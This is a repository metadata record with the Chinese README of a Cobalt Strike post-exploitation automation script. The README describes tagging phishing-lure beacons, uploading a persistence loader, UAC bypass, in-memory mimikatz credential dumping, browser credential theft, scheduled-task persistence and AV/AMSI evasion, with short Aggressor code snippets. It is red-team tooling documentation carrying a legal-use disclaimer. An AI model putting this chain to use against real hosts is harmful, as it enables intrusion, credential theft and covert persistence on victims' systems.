{"id":14637991,"url":"https://github.com/lintstar/CS-AutoPostChain","last_synced_at":"2025-09-07T06:31:32.579Z","repository":{"id":227097726,"uuid":"766557721","full_name":"lintstar/CS-AutoPostChain","owner":"lintstar","description":"基于 OPSEC 的 CobaltStrike 后渗透自动化链","archived":false,"fork":false,"pushed_at":"2024-03-11T14:19:05.000Z","size":2493,"stargazers_count":411,"open_issues_count":0,"forks_count":41,"subscribers_count":8,"default_branch":"main","last_synced_at":"2025-01-02T10:38:02.971Z","etag":null,"topics":["aggressor-scripts","attack","automation","cobaltstrike","cobaltstrike-cna"],"latest_commit_sha":null,"homepage":"https://github.com/lintstar/CS-AutoPostChain","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lintstar.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-03-03T15:44:02.000Z","updated_at":"2024-12-22T13:53:34.000Z","dependencies_parsed_at":"2024-03-11T23:34:56.619Z","dependency_job_id":null,"html_url":"https://github.com/lintstar/CS-AutoPostChain","commit_stats":null,"previous_names":["lintstar/cs-autopostchain"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/lintstar/CS-AutoPostChain","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lintstar%2FCS-AutoPostChain","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lintstar%2FCS-AutoPostChain/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lintstar%2FCS-AutoPostChain/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lintstar%2FCS-AutoPostChain/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lintstar","download_url":"https://codeload.github.com/lintstar/CS-AutoPostChain/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lintstar%2FCS-AutoPostChain/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274005341,"owners_count":25205934,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-07T02:00:09.463Z","response_time":67,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["aggressor-scripts","attack","automation","cobaltstrike","cobaltstrike-cna"],"created_at":"2024-09-10T02:01:32.098Z","updated_at":"2025-09-07T06:31:32.554Z","avatar_url":"https://github.com/lintstar.png","language":null,"readme":"## CS-AutoPostChain\n\n\u003cdiv align=\"\"\u003e\u003cimg src=\"https://img.shields.io/badge/about-Redteam-red?logo=Ionic\u0026logoColor=white\"\u003e \u003cimg src=\"https://img.shields.io/badge/advocate-Open Source-success?logo=github\u0026logoColor=white\"\u003e \u003cimg src=\"https://img.shields.io/badge/label-Cobalt Strike-orange?logo=Furry%20Network\u0026logoColor=white\"\u003e \u003cimg src=\"https://img.shields.io/badge/Features-Automation-ff69b4?logo=4chan\u0026logoColor=white\"\u003e\u003c/div\u003e\n\n**基于 OPSEC 的 CobaltStrike 后渗透自动化链**\n\n![image-20240311202300031](image/image-20240311202300031.png)\n\n\u003e 本项目结合 LSTAR - CobaltStrike 综合后渗透插件一起使用更佳：https://github.com/lintstar/LSTAR\n\n## 🎉 项目简介\n\n**在攻防实战中发现存在以下困境：**\n\n1. 鱼叉式水坑、社工钓鱼以及威胁猎捕场景下**上线时间不可控**，且无法二十四小时守在电脑附近，同时常见的自动权限维持插件需要提前在目标机器放置木马，并且存在维权上线然后**重复维权的套娃问题**\n2. 在 HW 场景下单个主机的信息收集、权限维持和凭据收集等大部分都是重复性操作，且进行 CS 多人协作时容易**重复收集降低效率**\n3. 已有的自动化链（上线自动执行 whoami 截图等操作）大部分使用 brun、bshell、bspawn 等 CS 原生敏感命令，容易被杀软检测**关联到木马进程导致掉线**，已不适应如今的攻防场景\n\n**本项目尝试将后渗透攻击链中的部分人工重复性工作借助 CobaltStrike 转变为自动化并兼顾隐蔽性（Bypass）:**\n\n- **遵循 OPSEC（Operations Security）原则，RedTeam 结合 C2 隐匿、木马免杀、工具魔改二开、BOF、自研工具/C2、ATT\u0026CK 攻击手法等结合使用可构建完整的隐蔽自动化链**\n- **企业安全建设方面也可借此做自动化内网攻击编排进行内网终端侧、流量侧防护效果的验证。**\n\n## 📜 免责声明\n\n**本项目仅适用于安全研究及合法的企业安全建设行为 一切后果及责任均由使用者本人承担**\n\n## 🌟 功能特性\n\n- **敏感操作通过 BOF 和 C# 程序执行，避免文件落地以及隐蔽动态行为特征**\n- **上线主机结合智能化存活判断进行自动权限维持，杜绝重复上线**\n- **将 LSTAR 后渗透插件的功能函数化，为不同场景下编排定制化的自动化链提供便利**\n- **Bypass AV  ① 动态查杀 ②  Windows Defender 的 AMSI/ETW**\n- **C# 内存加载 + BOF + 定制化免杀工具及技术 = 无限可能**\n\n## 🚀 流程编排\n\n**项目 CNA 脚本默认配置未做任何操作，仅做存活权限信息判断和控制台打印信息**\n\n**‼️ 请在理解原理的情况下结合实战需求进行合理配置，整体实现思路详见：https://xz.aliyun.com/t/14076**\n\n### 上线微信通知\n\n冲锋马上线时建议取消注释 bsleep，上线默认激活 Beacon 执行自动化链内容（等效控制台 Sleep0 命令）\n\n![image-20240311212850311](image/image-20240311212850311.png)\n\n#### 配置 Token\n\n**http://www.pushplus.plus/push1.html  复制自己的 token 替换到参数定义的地方**\n\n```shell\n$pushplusToken = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\";\n```\n\nServer 酱同理\n\n```shell\n$serverchanKey = \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\";\n```\n\n根据需要注释对应配置代码\n\n![image-20240311213745013](image/image-20240311213745013.png)\n\n#### 服务端后台挂载\n\n使用 agscript 在服务器端运行 cna 文件，和挂载 CobaltStrike 一样，把 cna 脚本也挂载到后台：\n\n```shell\nroot@VM-8-8-ubuntu：~# screen -S AutoPostChain\nroot@VM-8-8-ubuntu：~# ./agscript [host] [port] [user] [pass] \u003c/path/to/AutoPostChain.cna\u003e\n```\n\n这里 agscript 的用法为：\n\n```\n ./agscript [host] [port] [user] [pass] \u003c/path/to/file.cna\u003e\n```\n\n- [host] # 服务器的 ip 地址。\n- [port] # cs 的端口号，启动 cs 时有显示。\n- [user] # 后台挂载脚本时连接到 teamserver 的用户名。\n- [pass] # 启动服务端 cs 时设置的密码。\n- [path] # cna 文件的路径。\n\n### 上线提醒标记\n\n除去常规提醒外，当有多台 C2 服务器时，配置好 cserverName 参数可以在通知标题进行上线提醒的区分：\n\n```shell\n$cserverName = \"AT\";\n```\n\n![image-20240311203426501](image/image-20240311203426501.png)\n\n攻防场景下可通过上线进程来自动标记是针对哪个目标的终端权限上线了：\n\n```shell\nsub Note {\n    if ($processName eq \"beacon.exe\") {\n        bnote($1, \"test\");\n    }\n    else if ($processName eq \"个人简历.exe\") {\n        bnote($1, \"XX单位社工钓鱼\");\n    }\n    else if ($processName eq \"javaEE.exe\") {\n        bnote($1, \"维权上线\");\n    } \n    else if ($processName eq \"Update.exe\") {\n        bnote($1, \"BypassUAC上线\");\n    } \n}\n```\n\n![image-20240311203512109](image/image-20240311203512109.png)\n\n### 智能化权限维持\n\n**‼️ 相关工具脚本只做示例演示，请使用本项目时结合实战场景进行针对性免杀和二次开发**\n\n#### 配置Loader\n\n制作好免杀的维权马后放到 scripts 目录下，配置以下参数：\n\n```shell\n# Loader 路径\n$LoaderName = \"Update.exe\";\n$LoaderPath = \"C:\\\\Users\\\\Public\\\\\";\n$LoaderFullPath = $LoaderPath.$LoaderName;\n$b64encodeFullPath = \"QzpcVXNlcnNcUHVibGljXFVwZGF0ZS5leGU=\";\n```\n\n`$b64encodeFullPath` 为维权马 Windows 完整路径 `C:\\\\Users\\\\Public\\\\Update.exe` Base64 加密后的内容，只是为了配合 SharpBypassUAC 工具参数输入，实际情况请替换其他动态行为免杀的 BypassUAC 程序。\n\n#### 配置用户执行链\n\n取消注释以下代码\n\n![image-20240311214050853](image/image-20240311214050853.png)\n\n**这里用两个场景函数进行编排示例：**\n\n- `NormalUser_Chain` 函数用来编排不需要管理员权限即可执行的操作如信息收集、屏幕截图、上传文件等；\n- `OnlyAdmin_Chain` 函数用来编排只有管理员权限才能做的操作比如凭据获取、隐蔽权限维持等。\n\n**其中 `NormalUser_Chain` 执行流程如下：**\n\n1. 上传木马到指定目录：\n\n   ```shell\n   sub UP_Loader {\n       bcd($1, $LoaderPath);\n       blog($1,\"\\c9开始上传 Loader\");\n       bupload($1, script_resource(\"/scripts/\".$LoaderName));\n       blog($1, \"\\c8Loader 文件上传完成\");\n       blog($1, \"\\c8Loader文件位置：$LoaderFullPath\");\n   }\n   ```\n\n2. 调用 `readbof` 函数加载 BOF 并执行 whoami、ipconfig、screenshot ；\n\n3. 调用 `inlineExecute-Assembly` 函数通过 SharpHostInfo 扫描当前 C 端主机信息。\n\n\u003e ScreenshotBOFPlus 优化了能在无需注入的情况下在 Windows 启动全局缩放时获取完整截图\n\n而 ` BypassUAC` 调用 `inlineExecute-Assembly` 函数执行 SharpBypassUAC 工具通过 `computerdefaults` 技术以及编码后的木马路径进行 UAC 绕过，并上线管理器权限 Session。\n\n**最后 `OnlyAdmin_Chain` 执行流程如下：**\n\n1. 调用 `inlineExecute-Assembly` 函数执行 SharpKatz 工具内存中加载 mimikatz 获取主机凭据；\n2. 执行 Pillager BOF 程序不落地的情况下收集主机浏览器、软件、账户凭据等敏感信息；\n3. 调用 `inlineExecute-Assembly` 函数执行 SharpSchTask 工具进行隐蔽权限维持。\n\n![image-20240311214005973](image/image-20240311214005973.png)\n\n#### 场景流程编排\n\n通过 `isadmin` 结合存活权限判断实现上述执行场景流程的编排：\n\n![image-20240311215101658](image/image-20240311215101658.png)\n\n这样通过 BypassUAC 二次上线管理员权限时，将只会执行 `OnlyAdmin_Chain($1);` ：\n\n![image-20240311215420501](image/image-20240311215420501.png)\n\n此场景流程编排仅做示例使用，请结合实际需求和实战场景移植相应 BOF 功能等技术进行配置。\n\n## 👍 参考项目\n\n- https://github.com/h0e4a0r1t/Automatic-permission-maintenance\n- https://github.com/gooderbrother/antiVirusCheck\n- https://github.com/anthemtotheego/InlineExecute-Assembly\n- https://github.com/trustedsec/CS-Situational-Awareness-BOF\n- https://github.com/qwqdanchun/Pillager\n- https://github.com/baiyies/ScreenshotBOFPlus\n- https://github.com/shmilylty/SharpHostInfo\n- https://github.com/FatRodzianko/SharpBypassUAC\n- https://github.com/0x727/SchTask_0x727\n","funding_links":[],"categories":["Others","红队\u0026渗透测试"],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flintstar%2FCS-AutoPostChain","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flintstar%2FCS-AutoPostChain","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flintstar%2FCS-AutoPostChain/lists"}